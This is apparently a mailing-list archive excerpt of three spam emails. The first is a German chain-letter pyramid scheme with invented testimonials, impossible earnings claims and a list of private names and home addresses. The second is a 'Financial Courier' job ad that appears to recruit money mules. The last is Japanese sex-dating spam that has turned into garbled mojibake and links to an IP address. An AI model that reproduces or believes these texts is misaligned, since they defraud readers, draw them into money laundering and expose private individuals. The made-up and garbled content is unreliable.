ausreichendes Auskommen zu finden. Ich musste refinanzieren und eine Hypothek aufnehmen, um meine Familie und mein Geschäft zu erhalten. In diesem Moment passierte etwas Entscheidendes in meinem Leben. Ich schreibe Ihnen dies, um meine Erfahrung zu teilen und bin sicher, dass es auch Ihr Leben finanziell für immer verändern wird! Mitte März erhielt ich dieses Programm per E-Mail. Noch sechs Monate vorher sah ich mich nach Informationen über verschiedene Geschäftsideen um. Alles, was ich erhielt, war in meinen Augen nicht profitabel. Entweder war es zu kompliziert für mich oder die Startsumme war zu hoch um das Risiko einzugehen, um nur zu sehen ob es läuft oder nicht. Eine Geschäftsidee behauptete, dass ich in einem Jahr eine Million verdienen würde... nur hatten sie mir nicht gesagt, dass ich dazu ein Buch schreiben müsste. Aber, wie gesagt, im März 2003 erhielt ich dieses Programm. Ich hatte es nicht angefordert oder danach gefragt. Mein Name stand einfach auf einer Mailingliste. Gott sei Dank! Nachdem ich es mir mehrmals durchgelesen hatte, um sicherzugehen dass ich richtig verstanden hatte, traute ich meinen Augen nicht. Hier war ein Geld erzeugendes Phänomen. Um anzufangen konnte ich soviel wie ich wollte investieren, ohne mich weiter zu verschulden. Nachdem ich etwas zu schreiben holte und es durchrechnete, würde ich zumindest wesentlich mehr als meinen Einsatz wieder herausholen. Ich begann mit der Werbemöglichkeit Nr. 23 (Kleinanzeigen) und inserierte in nur 80 kostenlosen Annoncenblätter. Ich verschickte dann auf die Anfragen diesen Werbetext per E-Mail. Das wunderbare an E-Mail ist, dass es keine Druckkosten und keine Versandkosten gibt und da alle Bestellungen durch E-Mail-Versand erfüllt werden, ist der einzige Kostenfaktor meine eingesetzte Zeit. Ich sage Ihnen wie es ist, ich hoffe das schreckt Sie nicht ab, aber ich habe mir selbst versprochen, dass ich keinen über den Tisch ziehen würde, egal was es mich kosten würde. In weniger als einer Woche begannen Bestellungen des E-Buches Nr.1 bei mir einzutreffen. Bis 13. April hatte ich 26 Bestellungen für E-Buch Nr.1 erhalten. Ihr Ziel ist es, innerhalb von zwei Wochen mindestens 20 Bestellungen für E-Buch Nr.1 zu erhalten. Falls Sie das nicht erreicht haben, verschicken Sie mehr Programme, solange bis Sie es erreicht haben. Dies war mein erster Schritt auf dem Weg zu den 450.000 ? in 7 Monaten. Bis zum 5. Mai hatte ich 196 Bestellungen für E-Buch Nr.2. Ihr Ziel ist es, innerhalb von 4 Wochen mindestens 100 Bestellungen für E-Buch Nr.2 zu erhalten. Falls Sie das nicht erreicht haben, machen Sie solange weiter, bis Sie es erreicht haben. Wenn Sie die 100 Bestellungen haben, ist der Rest ganz leicht. Entspannen Sie sich, Sie werden mindestens 450.000 ? - Ziel erreichen. Nun, ich hatte 196 Bestellungen für E-Buch Nr.2. - 96 mehr als ich brauchte. Ich lehnte mich also zurück und entspannte mich. Bis 25. Mai erhielt ich durch meine 1 x 80 kostenlos aufgegebenen Annoncen 70.000 ? und es kommt täglich mehr Geld dazu. Ihre ganze Arbeit besteht darin, für dieses Programm zu werben. Wo Sie Werbung machen, steht genauestens in den 7 E-Büchern (insgesamt 35 unterschiedliche kostenlose Werbemöglichkeiten) beschrieben. Das ist wirklich alles! Bitte nehmen Sie sich die Zeit, das nachfolgende Programm zu lesen, es wird Ihr Leben für immer verändern. Denken Sie daran: Es wird nicht funktionieren, wenn Sie es nicht ausprobieren. Dieses Programm funktioniert, aber Sie müssen es g e n a u befolgen! Insbesondere die Vorschrift, Ihren Namen nicht auf einen anderen Platz in der Liste als angegeben zu setzen. Das wird nicht funktionieren und Sie verlieren enorm Geld! Damit dieses Programm funktionieren kann, müssen Sie Ihr Ziel von 20 Bestellungen für E-Buch Nr.1 und mindestens 100 Bestellungen für E-Buch Nr.2 erreichen, dann können Sie 450.000 ? oder mehr verdienen. Ich bin der lebende Beweis dafür, dass es funktioniert. KONZENTRIEREN SIE SICH NUR AUF DAS ! ! ! ! ! ! ! ! ! EINE ZIEL ! ! ! ! ! ! ! ! ! Die meisten Menschen haben keine Erfolge, weil sie sich verzetteln! Falls Sie sich gegen die Teilnahme an diesem Programm entscheiden, tut es mir leid. Es ist für Sie wirklich eine einmalige Chance mit wenig Risiko und wenigen Kosten. Falls Sie sich für die Teilnahme an dem Programm entscheiden, sind Sie auf dem Weg zu finanzieller Sicherheit. Wenn Sie auch ein Geschäftsmann sind und in finanziellen Schwierigkeiten, so wie ich es war oder Sie ein neues Geschäft anfangen, betrachten Sie das als ein Zeichen. Ich habe es so gemacht. Mit freundlichen Grüßen Markus Weber ************************************************************************************ Eine persönliche Bemerkung vom Gründer dieses Programms: Nachdem Sie das Programm und die beigefügten Texte gelesen haben, wird Ihnen klar geworden sein, dass ein solches Programm, noch dazu eines, das legal ist, nicht von einem Amateur geschaffen werden konnte. Sie haben gerade Informationen erhalten, die Ihnen für den Rest Ihres Lebens finanzielle Sicherheit geben können, ohne Risiko und mit einem Minimum an Einsatz. In den nächsten Monaten können Sie mehr Geld verdienen, als Sie sich bisher vorgestellt haben. Ich möchte herausstellen, dass ich keinen Pfennig dieses Geldes sehen werde, noch irgend jemand, der in dieser Information Autor ist. Ich habe schon über 2 Millionen ? verdient! Ich habe mich von dem Programm zurückgezogen. Nun besitze ich mehrere Büros, welche andere Programme hier und in Übersee leiten. Folgen Sie den Anweisungen dieses Programms genauso wie vorgeschrieben. Verändern Sie es auf keinen Fall! Es arbeitet perfekt in der Form wie es Ihnen vorliegt. Schicken Sie jeder Person, die durch Ihre Werbemaßnahme nähere Informationen möchten diesen Werbebrief. Eine dieser Person wird vielleicht mehr als 80 Inserate aufgeben oder die Werbemöglichkeit Nr. 5 oder 28 nehmen ... und Ihr Name steht dann in allen Werbetexten. Denken Sie auch daran: Je mehr Sie Werbung schalten, desto mehr potentielle Kunden erreichen Sie. In den 7 E-Büchern sind 35 unterschiedliche kostenlose Werbemöglichkeiten beschrieben, die für viele Millionen Programmteilnehmer ausreichen. So, ich habe Ihnen nun die Idee, die Informationen, das Material und die Gelegenheit gegeben finanziell unabhängig zu werden - Jetzt sind Sie dran! "Denken Sie darüber nach!" Bevor Sie diesen Text löschen, nehmen Sie sich doch ein wenig Zeit und denken Sie wirklich einmal darüber nach. Nehmen Sie einen Stift und rechnen Sie sich aus, was passieren kann, wenn Sie teilnehmen. Rechnen Sie mit der geringsten Rücklaufquote und Sie werden sehen, dass Sie immer noch eine Menge Geld verdienen werden! Auf alle Fälle werden Sie das, was Sie investieren wieder zurückbekommen. Alle Zweifel, die Sie noch haben, werden verschwinden, wenn die ersten Bestellungen eintreffen. Es funktioniert !!! Wolfgang Müller / München /BRD ************************************************************************************ HIER IST DIE ANLEITUNG; WIE DIESES ERSTAUNLICHE PROGRAMM IHNEN TAUSENDE VERSCHAFFT ! Diese Methode Geld zu verdienen funktioniert jedes mal 100%-ig. Ich bin sicher, dass Sie 450.000 Euro oder mehr in den nächsten Monaten gut gebrauchen können. Bevor Sie jetzt sagen: "So ein Sch...!" lesen Sie bitte dieses Programm gründlich durch. Dies ist eine völlig legale Methode um Geld zu verdienen. Folgendes sollten Sie tun: Wie bei allen Network-Marketing-Unternehmen bauen wir unser Geschäft auf, indem wir neue Partner gewinnen, die unser Produkt verkaufen. Für das Geld, was Sie einnehmen, verkaufen Sie eine Ware. Sie verkaufen E-Bücher. Das ist legal, denn es ist völlig egal, ob Sie Schuhe, Versicherungen oder E-Bücher verkaufen. Die Hauptsache ist, dass Sie überhaupt etwas verkaufen, für das Geld, was Sie erhalten. Wegen der globalen Natur des Internet, werden Sie neue Network Geschäftspartner aus der ganzen Welt gewinnen können. Ihre Bestellungen kommen per Post und Sie erfüllen Sie per E-Mail, deshalb brauchen Sie keine persönlichen Verkaufsgespräche zu führen. Sie machen das zu Hause, in Ihren vier Wänden, im Büro oder im Geschäft. Das ist das größte Network-Marketing, dass es gibt. Und so geht es: 1. Bestellen Sie alle 7 E-Bücher die unten auf der Liste stehen. Sie können die E-Bücher nicht verkaufen, wenn Sie diese nicht besitzen. a.) Senden Sie für jedes E-Buch einen 5 Euro-Schein an die entsprechende Adresse. Sie verschicken also 7 Briefe an 7 unterschiedliche Adressen. Den 5 ? - Schein bitte in Papier einwickeln so ist er für die Post nicht sichtbar. b.) Schreiben Sie auf Ihren 1. Bestellschein: Bitte senden sie mir das E-Buch Nr.1. Dann schreiben Sie bitte ganz deutlich Ihre E-Mailadresse, denn Sie erhalten die E-Bücher alle per E-Mail zugeschickt. Ihre E-Mailadresse muss funktionieren. Schreiben Sie nun noch Ihre genaue Postanschrift mit auf dem Bestellschein, falls es doch einmal mit Ihrer E-Mailadresse Schwierigkeiten geben sollte. Bei der 2., 3., 4., 5., 6. und 7. Bestellung verfahren Sie genauso wie oben beschrieben. c.) nach einigen Tagen werden Sie per E-Mail alle E-Bücher erhalten. Speichern Sie diese auf Ihrem PC, damit Sie darauf zurückgreifen und diese an die Tausende Kunden verschicken können, welche bei Ihnen bestellen werden. 2. Wichtig: Verändern Sie nicht die Namen oder Reihenfolge der Namen auf der Liste auf andere Art als nachfolgend unter 2.a bis 2.i beschrieben!!!!! Zuwiderhandlungen lässt Sie nur eine Menge Geld verlieren. Wenn Sie einmal verstanden haben, wie das Programm arbeitet, werden Sie auch verstehen, warum es nicht funktioniert, wenn Sie es verändern. Denken Sie daran, dieses Programm ist getestet und wenn Sie es verändern, wird es nicht funktionieren. Konzentrieren Sie sich nur auf das EINE Ziel ! ! ! ! ! ! ! a.) Nehmen Sie die Liste der erhältlichen E-Bücher. b.) Nachdem Sie die 7 E-Bücher bestellt haben, nehmen Sie diesen vorliegenden Text mit der Liste und entfernen Sie den Namen und die Adresse unter E-Buch Nr.7. Diese Person hat den Zyklus durchlaufen und zählt wahrscheinlich gerade die 450 000 ?. c.) Verschieben Sie Name und Adresse unter E-Buch Nr. 6 nach unten zu E-Buch Nr. 7 d.) Verschieben Sie Name und Adresse unter E-Buch Nr. 5 nach unten zu E-Buch Nr. 6 e.) Verschieben Sie Name und Adresse unter E-Buch Nr. 4 nach unten zu E-Buch Nr. 5 f.) Verschieben Sie Name und Adresse unter E-Buch Nr. 3 nach unten zu E-Buch Nr. 4 g.) Verschieben Sie Name und Adresse unter E-Buch Nr. 2 nach unten zu E-Buch Nr. 3 h.) Verschieben Sie Name und Adresse unter E-Buch Nr. 1 nach unten zu E-Buch Nr. 2 i.) Fügen Sie jetzt Ihren Namen und Adresse an die Stelle unter E-Buch Nr.1 ein Bitte achten Sie darauf Namen und Adresse korrekt zu übertragen! 3. Nehmen Sie den ganzen Werbetext von dieser Seite einschließlich der von Ihnen geänderten Namensliste und speichern Sie diesen auf Ihren PC. Verändern Sie die Anleitung auf keinen Fall !!! Sollten Sie Schwierigkeiten mit dem verschieben haben, dann drucken Sie sich alles aus, damit Sie es in gedruckter Form vor sich liegen haben. Öffnen Sie jetzt das Dokument, wo Sie diesen Werbetext gespeichert haben und löschen Sie bei jedem E-Buch die Adressen der jeweiligen Person. Jetzt schreiben Sie per Hand in der richtigen Reihenfolge, wie bei 2. beschrieben, die Adressen rein. Ihre Startkosten sind minimal. Sie brauchen lediglich 35 ? als Startkapital. Offensichtlich besitzen Sie einen PC mit Internetanschluss und E-Mailadresse. Um Sie bei der Vermarktung Ihres Geschäfts im Internet zu unterstützen, haben wir 7 E-Bücher von unschätzbaren Wert zusammengestellt. Nehmen Sie das, was in den E-Bücher steht ernst, dann erreichen Sie auch Ihr Ziel. Außer Ihren Onlinegebühren entstehen Ihnen keine weitere Kosten. Nehmen wir an, Sie entscheiden sich klein anzufangen, um zu sehen wie gut es läuft. Wir gehen davon aus, dass Ihr Ziel darin besteht, nur 5 Personen für Ihre erste Ebene zu werben. (Wenn Sie das anwenden, was in den 7 E-Bücher steht, werden Sie leicht viel mehr erreichen). Wir nehmen nun an, dass jeder in Ihrem Programm nur 5 weitere Teilnehmer wirbt. Folgen Sie der Beispielrechnung um den enormen Erfolg zu sehen: 1. Ebene - 5 Teilnehmer .......................... 25 ? 2. Ebene - 25 Teilnehmer ....................... 125 ? 3. Ebene - 125 Teilnehmer ........................ 625 ? 4. Ebene - 625 Teilnehmer ...................... 3125 ? 5. Ebene - 3125 Teilnehmer .................... 15625 ? 6. Ebene - 15625 Teilnehmer .....................78125 ? 7. Ebene - 78125 Teilnehmer ................... 390625 ? Summe .................................................... 488275 ? Wir haben angenommen, dass jeder Teilnehmer nur 5 weitere Teilnehmer anwirbt. Denken Sie einen Moment daran, was passiert, wenn Sie 20 Teilnehmer gewinnen. Manche werden 100 Teilnehmer und mehr gewinnen! Denken Sie darüber nach! Für jeden 5 ? - Schein den Sie erhalten, müssen Sie nur das bestellte E-Buch per E-Mail versenden. Das ist alles! Versenden Sie immer am Tag der Bestellung! Sorgen Sie dafür, die E-Bücher als bald wie möglich zu verschicken, denn der Kunde kann erst mit dem Geschäft beginnen, wenn er Ihre E-Mail erhalten hat. ********************************************************************************* ** Bestellen Sie jedes E-Buch mit dem Titel und der Ordnungszahl ! (z.B.: E-Buch Nr. 1 --usw.) ** Senden Sie immer einen 5 ? - Schein. Senden Sie keinen Scheck! Senden Sie Ihre Bestellung mit normaler Briefpost. Achten Sie darauf, dass der Geldschein eingepackt ist. Auf Ihrem Bestellschein schreiben Sie: a.) Ordnungszahl und Titel des gewünschten E-Buches b.) Ihre E-Mailadresse (bitte deutlich schreiben) c.) Ihren Namen und Ihre Postanschrift. Wie schon oben erwähnt, reichen die Werbemöglichkeiten, die in E-Buch Nr. 2 - 7 stehen, für viele Millionen Programmteilnehmer aus. Bestellen Sie jetzt: E-Buch Nr. 1: Wie Sie eine Homepage erstellen (für Anfänger leicht verständlich geschrieben) Sie bestellen dieses E-Buch für 5 ? bei: Mandy Reinhardt Moorkamp 51 D 30165 Hannover ************************************************************************************ E-Buch Nr. 2: kostenlose Werbemöglichkeiten Nr.1 - 6 Sie bestellen dieses E-Buch für 5 ? bei Sandro Richter Omptedastr. 27 E D 30165 Hannover ************************************************************************************ E-Buch Nr. 3: kostenlose Werbemöglichkeiten Nr.7 - 12 Sie bestellen dieses E-Buch für 5 ? bei Ronald Hentschel Stieberstr. 36 D 02625 Bautzen ************************************************************************************ E-Buch Nr. 4: kostenlose Werbemöglichkeiten Nr.13 - 18 Sie bestellen dieses E-Buch für 5 ? bei: Ilona Brytsche Zittauer Str. 29 D 02681 Wilthen ************************************************************************************ E-Buch Nr. 5: kostenlose Werbemöglichkeiten Nr.19 - 24 Sie bestellen dieses E-Buch für 5 ? bei: Andreas Trommler Wilhelm-Busch Str. 16 D 74076 Heilbronn ************************************************************************************ E-Buch Nr. 6: kostenlose Werbemöglichkeiten Nr.25 - 30 Sie bestellen dieses E-Buch für 5 ? bei: Mathias Hertwig Im Bruch. 14 D - 77736 Zell a.H ************************************************************************************ E-Buch Nr. 7: kostenlose Werbemöglichkeiten Nr.31 - 36 Sie bestellen dieses E-Buch für 5 ? bei: Manuela Richter Bootsweg. 44 D - 23970 Wismar ************************************************************************************ TIPS Für Ihren Erfolg * Betrachten Sie dieses Programm als Ihr Geschäft! * Seien Sie prompt professionell und folgen Sie den Anweisungen. * Bestellen Sie die 7 E-Bücher JETZT GLEICH, damit Sie diese zur Verfügung haben, wenn die Bestellungen kommen. Sie müssen das Produkt sofort ausliefern bzw. versenden. * Versenden Sie immer gleich am Tag der Bestellung. * Seien Sie geduldig und ausdauernd bei der Anwendung dieses Programms. Wenn Sie den Anweisungen genau folgen, wird Ihr Ergebnis ERFOLG sein! Vor allem: Glauben Sie an sich selbst und seien Sie von Ihrem Erfolg überzeugt ! ************************************************************************************ ÜBRIGENS: >>>Momentan gibt es mehr als 175.000.000 Internet-Teilnehmer ! ! ! <<< ************************************************************************************ >>> Die Leitlinien, die Ihnen Ihren Erfolg garantieren <<< Folgen Sie diesen Leitlinien, die Ihnen Ihren Erfolg garantieren: Falls Sie innerhalb der ersten zwei Wochen keine Bestellungen für E-Buch Nr.1 erhalten - was völlig außergewöhnlich wäre - , fahren Sie fort Werbung zu machen, solange, bis Sie 20 Bestellungen haben. Dann sollten Sie innerhalb von 4 Wochen mindestens 100 Bestellungen für E-Buch Nr.2 erhalten. Wenn nicht, dann fahren Sie fort, Werbung zu schalten bis Sie 100 Bestellungen haben. Wenn Sie 100 Bestellungen für E-Buch Nr.2 erreicht haben, können Sie sich zurücklehnen und entspannen, denn das Programm arbeitet nun bereits für sie und das Geld wird Ihnen zuströmen. WICHTIGE ERINNERUNG: Jedes Mal, wenn Sie in der Liste einen Platz nach unten vorrücken, steht Ihr Name für ein anderes E-Buch. Sie können Ihren Fortschritt dadurch beobachten, indem Sie die Ordnungszahlen der bestellten E-Bücher beachten. Falls Sie mehr Einkommen erzeugen wollen, fahren Sie fort mit Werbung und starten so den ganzen Prozess von vorne! Es gibt keine Grenze für Ihr Einkommen, dass Sie durch dieses Programm erzeugen können! Bevor Sie sich entscheiden, ob Sie nun an diesem Programm teilnehmen oder nicht, beantworten Sie eine Frage: Wollen Sie Ihr Leben verändern? Wenn Sie "ja" antworten, schauen Sie sich bitte folgende Fakten über dieses Programm an: 1. Sie versenden ein Produkt, das keine Produktkosten hat. 2. Sie versenden ein Produkt das keine Transportkosten hat. 3. Sie versenden ein Produkt, das keine Werbekosten hat. 4. Sie versenden ein Produkt, welches Anderen hilfreich ist, um Geld zu verdienen. 5. Sie benutzen die Power des Internet und des Network-Marketings. 6. Die einzige Investition, außer Ihren 35 ? ist Ihre Zeit und die Onlinegebühren. 7. Fast alles Einkommen, dass Sie erzeugen ist reiner Profit. Wir verdienen nur, wenn Sie verdienen - und wir wollen verdienen ! ! ! Zeugnisse: Dieses Programm funktioniert, aber Sie müssen es genau befolgen ! Insbesondere die Vorschrift nicht zu versuchen Ihren Namen an eine andere Stelle zu schreiben, denn das wird nicht funktionieren und Sie werden eine Menge an potentiellen Einkommen verlieren. Ich bin der lebende Beweis, dass es funktioniert. Es ist wirklich eine großartige Möglichkeit relativ leicht Geld zu machen ohne große Investitionen. Wenn Sie sich entscheiden teilzunehmen, folgen Sie dem Programm genau und Sie betreten den Weg zur finanziellen Sicherheit. Michael Schiffer, Ostende, Germany ************************************************************************************ Ich heiße Bernd. Meine Frau Judith und ich leben in Bayern. Ich arbeite im Rechnungswesen einer großen deutschen Firma und ich verdiene ganz gut. Als meine Frau das Programm erhielt, brummte ich einiges negatives gegenüber Network - Marketing. Ich machte mich über das ganze Ding lustig, indem ich mein Wissen über die Bevölkerung und die angegebenen Prozentzahlen ausbreitete. Ich "wusste", dass es nicht funktionieren würde. Judith ignorierte meine angebliche Intelligenz vollkommen und hat sofort losgelegt. Ich habe mich gnadenlos über Sie lustig gemacht und war bereit für das alte "Ich hab's dir ja gleich gesagt...", dass das Ding nicht laufen wird. Nun, sie hat zuletzt gelacht. Innerhalb von vier Wochen hatte sie über 120 Bestellungen. Innerhalb von 60 Tagen hatte sie bereits 20.000 ? in 5 ? -Scheinen erhalten! Ich war schockiert! Ich war sicher gewesen, alles genau berechnet zu haben und dass es nicht funktionieren würde. Ich wurde eines Besseren belehrt. Ich nehme nun an dem "Hobby" von Judith teil. Wir verdanken alles Network - Marketing. In tiefer Dankbarkeit Euer Bernd Hoffmann, Bayern ************************************************************************************ Der Grund für diesen Brief ist, Sie zu überzeugen, dass das Programm ehrlich, legal und extrem profitabel ist, sowie ein Weg eine Menge Geldes in kurzer Zeit zu bekommen. Es wurde mehrere male an mich herangetragen bevor ich es ausprobierte. Ich habe teilgenommen, nur um zu sehen, was man für den minimalen Einsatz und das minimale Geld, das erforderlich ist, zurück bekommt. Zu meiner Verblüffung erhielt ich 36.000 ? in den ersten 10 Wochen und es kommt von Tag zu Tag mehr Geld. Mit freundlichen Grüßen, Petra Koch, Hamburg ************************************************************************************ Da ich ein Spielertyp bin, brauche ich mehrere Wochen um mich zu entscheiden in diesem Programm mitzumachen. Konservativ, wie ich bin, entschied ich, dass die anfängliche Investition so gering war, dass es unmöglich wäre - zu wenige Bestellungen zu bekommen und wenigstens mein Geld zurückzubekommen. Ich war erstaunt als mein mittelgroßer Briefkasten gerammelt voll mit Bestellungen war. Zeitweise war er so überladen, dass ich die Post vom Briefträger holte. Ich werde dieses Jahr mehr verdienen als in den 10 Jahren zuvor. Das Schöne an der Sache ist, dass es egal ist, wo die Leute wohnen. Es gibt einfach keine bessere Investition mit besserem Gewinn. Birgit Haas, Rheinland-Pfalz ************************************************************************************ Ich hatte dieses Programm schon einmal erhalten. Ich habe es gelöscht, aber dann habe ich mir gedacht, ob ich es nicht besser ausprobiert hätte. Ich hatte natürlich keine Idee, wen ich kontaktieren sollte, um ein anderes Exemplar zu erhalten, so musste ich darauf warten, dass mir ein anderes Programm zugeschickt wurde.... 4 Monate vergingen, dann kam es... Dieses Mal habe ich es nicht gelöscht!... Ich habe mehr als 1.500.000 Franken beim ersten Versuch eingenommen. Franz Heberle, Schweiz ************************************************************************************ Das ist das dritte mal, dass ich an diesem Programm teilnehme. Wir haben unsere Jobs aufgegeben und werden uns bald ein Haus am Strand in der Südsee kaufen und von den Zinsen unseres Kapitals leben. Die einzige Art und Weise, wie dieses Programm für Sie arbeiten wird ist, dass Sie teilnehmen. Versäumen Sie diese goldene Gelegenheit nicht, Ihnen zuliebe und Ihrer Familie zuliebe. Viel Glück und fröhliches Geldausgeben! Wolfgang Junger, Osnabrück ************************************************************************************ Bestellen Sie die 7 E-Bücher noch heute und machen Sie die ersten Schritte auf den Weg zur finanziellen Freiheit. Jetzt sind SIE dran! Entschiedene Handlung bringt kraftvolle Resultate ! ! ! ************************************************************************************ Hinweis: Wenn Sie beim Beginn dieses Geschäfts Hilfe brauchen, bei der Einkommensteuer etc. rufen Sie einfach bei Ihrem Finanzamt an, welches Ihre Fragen beantworten wird oder besser: wenden Sie sich an Ihren Steuerberater. Natürlich stehe auch ich Ihnen gerne zur Verfügung: Ihre Einkünfte und Erfolge sind von Ihrer Aktivität abhängig. Dieser Text enthält keine ausdrückliche oder indirekte Garantien. Im Falle, dass festgestellt werden sollte, dass dieser Text in irgendeiner Art und Weise eine Garantie enthält, wird diese hiermit für ungültig erklärt. Einige Zeugnisse oder Einkommen, die hier in diesem Text aufgeführt werden, können Fakten sein oder unbeweisbar. ************************************************************************************ ======================== http://www.thatsbusiness.de ======================== Ständige Aktualisierung Stand 24.09.2005 From 7guenter@ablink.demon.co.uk Sun Sep 25 17:55:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJhHJ-0007Ws-RW for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 17:55:33 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EJhHI-00028C-Kx for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 17:55:34 -0700 Received: from [61.255.99.180] (helo=61.255.99.180) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1EJhHF-0004E3-7D for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 17:55:30 -0700 Message-ID: <6aba01c5c233$58697c9f$9f33ced8@ablink.demon.co.uk> From: Matthias Munoz <7guenter@ablink.demon.co.uk> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express V6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 4.7 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: therusmarketsistem.com] 0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: therusmarketsistem.com] 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: therusmarketsistem.com] Subject: [clisp-list] THERUSMARKET is looking for new candidates for the position of Financial Courier Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 25 18:00:03 2005 X-Original-Date: Mon, 26 Sep 2005 00:46:36 +0000 THERUSMARKET is looking for new candidates for the position of Financial Courier Since the time when THERUSMARKET Investment & Finance company started 7 years ago we have been catering for a wide range of services in the field of foreign currencies conversion. Take a flavor of our unique terms and conditions. We work both with domestic customers from all walks of life and with different clients worldwide. We have been often highly praised by leading financial periodicals, whilst according to the polling results, we were ranked the fifth position. We managed to minimize time, necessary for money conversion and further transaction to any place of the globe, as well as to apply unmatched security level for our customers. Coupled with the fact, that our Financial Couriers staff around the world considerably exceeds the number of agents of our major competitor, our advantages are out of question. By leveraging stability and reliability of our operations we managed to get a far greater ability to gain loyalty of our partners and confidence of our customers. Rapid scalable worldwide deployment of the company demands further recruitment of Financial Couriers staff. The scope of responsibilities of a Financial Courier will involve processing of money transfers (mainly bank transfers). This job does not imply any relevant knowledge or experience in the field of finance. The candidates, able to exhibit sound, smart and prompt operations, will qualify. You will be able to combine your main job with THERUSMARKET career. Basic Requirements to the Candidate: Promptness of operations, interpersonal skills, responsibility. Ability to spend enough time for this job. PC, Internet, email handling skills (user-level). Basic knowledge of English. Browse our site ( http://therusmarketsistem.com/ ) to get more details on Financial Courier vacancy and candidates' requirements. To get the operational scheme details and all necessary forms, fill out the Application Form first. We promise to react as promptly as possible. Thank you for your interest to our offer. THERUSMARKET Administration From beautyflow@hotmail.com Mon Sep 26 04:00:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJqiO-0005Yj-0J for clisp-list@lists.sourceforge.net; Mon, 26 Sep 2005 04:00:08 -0700 Received: from 9.10.150.220.ap.yournet.ne.jp ([220.150.10.9] helo=mail.sourceforge.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EJqiK-0007pk-Tm for clisp-list@lists.sourceforge.net; Mon, 26 Sep 2005 04:00:08 -0700 From: "=?ISO-2022-JP?B?GyRCSH46aRsoQg==?=" To: clisp-list@lists.sourceforge.net Message-ID: <58D6949012.5994@hotmail.com> X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.1 FORGED_HOTMAIL_RCVD2 hotmail.com 'From' address, but no 'Received:' 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] =?ISO-2022-JP?B?GyRCN1A4MyQ3JEYkXyRrISkbKEIoLV8tOzs=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 26 04:02:00 2005 X-Original-Date: Mon Sep 26 04:01:02 2005 Žá‚¢—«‚Æ‚ÌSEX‚àŠy‚µ‚¢‚¯‚ÇAˆê“x’m‚邯un—v‚Æ‚ÌSEX‚͂ƂĂà‚͂܂é‚炵‚¢ƒ‚ƒm‚炵‚¢B http://69.50.166.218/~lvytv/ ŋ߂ÍASEX‚Ö‚Ì”FޝEŒ‹¥‚ւ̈ӎ¯‚à‚¸‚¢‚Ô‚ñ•Ï‚í‚Á‚Ä‚«‚Ä‚¢‚ÄAu‚΂ê‚È‚¯‚ê‚Îv‰½‚Å‚à‚â‚éŽå•w‚àŒ‹\‘½‚¢‚Ì‚ÅAn—‚ÆSEX‚·‚éƒ`ƒƒƒ“ƒX‚͑啂ɑ‚¦‚Ä‚¢‚Ü‚·B Žå•w‚ªŽá‚¢’j‚ð‘{‚µ‚Ä‚¢‚é‚Ì‚ªAŋ߂Ìo‰ï‚¢Œn‚̃Rƒ~ƒ…ƒjƒP[ƒVƒ‡ƒ“‚ÌŽå—¬‚Å‚·B http://69.50.166.218/~lvytv/ ’j‚ª—«‚ð‰‡•‚·‚é‚©‚祥¥‚ƃGƒbƒ`‚µ‚Ä‚µ‚Ü‚¤‚Æ‚ ‚Á‚Ƃ䂤‚܂ɑå•ςȂ±‚ƂɂȂÁ‚Ä‚µ‚Ü‚¤‚¯‚ÇA‹tƒo[ƒWƒ‡ƒ“‚Í‘S‚­–â‘肪‚È‚¢A‚Æ‚¢‚¤‚Ì‚à•sŽv‹c‚Å‚·‚ªB ‚Ƃɂ©‚­Žå•w‚ÍŽá‚¢’j«‚É‚¨¬Œ­‚¢‚ð‚ 